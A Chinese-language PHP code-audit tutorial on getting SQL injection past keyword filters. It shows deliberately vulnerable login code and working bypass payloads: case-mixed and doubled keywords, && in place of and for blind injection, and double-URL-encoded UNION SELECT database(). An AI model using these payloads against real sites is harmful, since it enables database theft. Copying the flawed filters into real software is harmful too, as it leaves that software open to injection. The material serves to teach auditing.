【网络安全】php代码审计-sql注入进阶篇
前言
經過上一篇文章我們已經大概的了解sql注入去怎樣審計了。但是在實際的網站中和用戶的輸入輸出接口不可能想那樣沒有防御措施的。現在各大網站都在使用waf對網站或者APP的業務流量進行惡意特征識別及防護,,避免網站服務器被惡意入侵。所以我們就需要繞過waf,這篇文章就用代碼審計的方式給大家講解一些sql的繞過技巧。
關鍵字過濾
部分waf會對關鍵字進行過濾,我們可以用大小寫或者雙寫關鍵字來繞過。
源代碼分析
【網絡安全學習資料·攻略】
<?php require 'db.php'; header('Content-type:text/html;charset=utf8'); $username=dl($_POST['username']); $password=dl($_POST['password']); $dl="SELECT * FROM xs WHERE username='$username' and password='$password'"; //登錄界面后臺處理 $ck=mysqli_query($db,$dl); $row = mysqli_fetch_array($ck); if($_POST['login']){ if($row) { echo"你的密碼".$row['username']; }else{ echo"登錄失敗"; } } function dl($gl){ $gl=str_replace(array("union","UNION"),"","$gl"); $gl=str_replace(array("select","SELECT"),"","$gl"); $gl=str_replace(array("database","DATABASE"),"","$gl"); $gl=str_replace(array("sleep","SLEEP"),"","$gl"); $gl=str_replace(array("if","IF"),"","$gl"); $gl=str_replace("--","","$gl"); $gl=str_replace("order","","$gl"); return $gl; }分析一下代碼,首先獲取了數據,加載dl函數以后帶入了數據庫中執行,然后if判定是否有提交,是否登錄成功,登錄成功后回顯用戶的賬號,這是一個非常簡單的后臺登錄代碼。往下看有一個自定義函數dl,函數內使用了str_replace(),str_replace()的作用是替換字符串,這里union,select,database ,if這些常用的注入字符大小寫都被替換成空。做了一個簡單的危險字符過濾自定義函數。
關鍵字過濾注入方法
用大小寫和雙寫關鍵字來嘗試繞過,返回代碼里有回顯位所以可以union注入,dl函數把union,select這些字符替換成空但是mysql中是不不區分大小寫的,所以可以大小寫混寫來繞過dl函數的過濾。比如Select Union DAtabase()這樣的字符是可以執行的。也可以用雙寫的手法,比如seselectlect這樣的語句, dl函數會把里面的select替換為空這樣兩邊的字符湊在一起剛好又是一個select這樣就起到了繞過的作用。
大小寫繞過語句為 -1’ unioN Select dataBASE(),2 #
雙寫關鍵字繞過語句為 -1’ ununionion selecselectt databasdatabasee(),2 #
都運行成功
or and xor not過濾
or and xor not 像這樣的邏輯運算也會被過濾袋掉那我們怎么繞過呢?
源代碼分析
<?php require 'db.php'; header('Content-type:text/html;charset=utf8'); $username=dl($_POST['username']); $password=dl($_POST['password']); $zifu='/(and|or|xor|not)/i'; if(preg_match("$zifu","$username&&$password")){ echo "<script>alert('存在危險字符')</script>"; } $dl="SELECT * FROM xs WHERE username='$username' and password='$password'"; //登錄界面后臺處理 $ck=mysqli_query($db,$dl); $row = mysqli_fetch_array($ck); if($_POST['login']){ if($row) { echo"登錄成功"; }else{ echo"登錄失敗"; } } function dl($gl){ $gl=str_replace(array("union","UNION"),"","$gl"); $gl=str_replace(array("select","SELECT"),"","$gl"); $gl=str_replace(array("database","DATABASE"),"","$gl"); $gl=str_replace(array("sleep","SLEEP"),"","$gl"); $gl=str_replace(array("if","IF"),"","$gl"); $gl=str_replace("--","","$gl"); $gl=str_replace("order","","$gl"); return $gl; } ?>閱讀一遍代碼發現在上一段的基礎上面添加了一個preg_match函數,這個函數過濾了or and xor not關鍵字,需要注意的是preg_match會大小寫都過濾,繼續往下讀回顯位改成了成功或者失敗所以我們只能采用盲注或者延時注入。
邏輯運算符繞過
先嘗試大小寫繞過,果然是失敗的。
使用邏輯運算符嘗試
and = &&
or = ||
xor = | # 異或
not = !
使用&&代替and構造盲注語句1’ && length(DATAbase())=3 # 因為關鍵字過濾函數還在所以還同時需要大小寫繞過。
注入成功
url編碼繞過
在平常使用url提交數據時,web容器在接到url后會自動進行一次url編碼解析,但是由于業務問題有些網站在web容器自動解析之后,通過編寫程序對解析的參數進行再次url編碼解析,就會出大問題。
源代碼分析
<?php require 'db.php'; header('Content-type:text/html;charset=utf8'); $id1=$_GET['id']; $gl="/and|or|not|xor|length|union|select|database|if|sleep|substr/i"; if(preg_match($gl,$id1)){ echo"<script>alert('存在危險字符')</script>"; }else{ $id=urldecode($id1); $dl="SELECT * FROM xs WHERE id='$id'"; $result=mysqli_query($db,$dl); $row = mysqli_fetch_assoc($result); if($_GET['id']) { if ($row) { echo "登錄成功:" . $row['username']; } }} ?>上來還是先看看代碼,把客戶端傳入的get參數賦值進了id1,用if加pregmatch對變量id1里的值進行檢索。如果客戶端傳入的參數有gl里的值那么就會返回前端代碼進行警告。沒有危險字符才會執行下面的代碼,接著把id1里的參數進行一次url解編碼并賦值給$id。此時客戶端傳入的參數已經經過了兩次url編碼解析。最后過濾完成把id變量帶入數據庫中進行查詢并返回用戶的賬號。
注入語句
分析代碼時說到客戶端傳入的參數會進行兩次url編碼解析之后帶入數據庫,但危險過濾是在第一次解析之后第二次解析之前執行的。也就是說我們可以寫入兩次url編碼過的語句繞過preg_match,比如and在過濾范圍之中,對and一次url全編碼后變為%61%6e%64%0,再進行一次編碼為%25%36%31%25%36%65%25%36%34
。把經過兩次編碼后的and提交數據會經過web容器解碼后變為%61%6e%64,preg_match判定就不會觸發。
構造嘗試語句
把-1’ union select database(),2,3 --+編碼為-1’
%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65 %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 %25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35(),2,3 --+
成功繞過,代碼執行帶出了當前數據庫。
最后
關注我持續更新技術文章,私我獲取2021最新【網絡安全學習資料·攻略】
總結
以上是生活随笔為你收集整理的【网络安全】php代码审计-sql注入进阶篇的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【网络安全】Nacos Client Y
- 下一篇: 国内网络安全这门行业人才会不会饱和呢?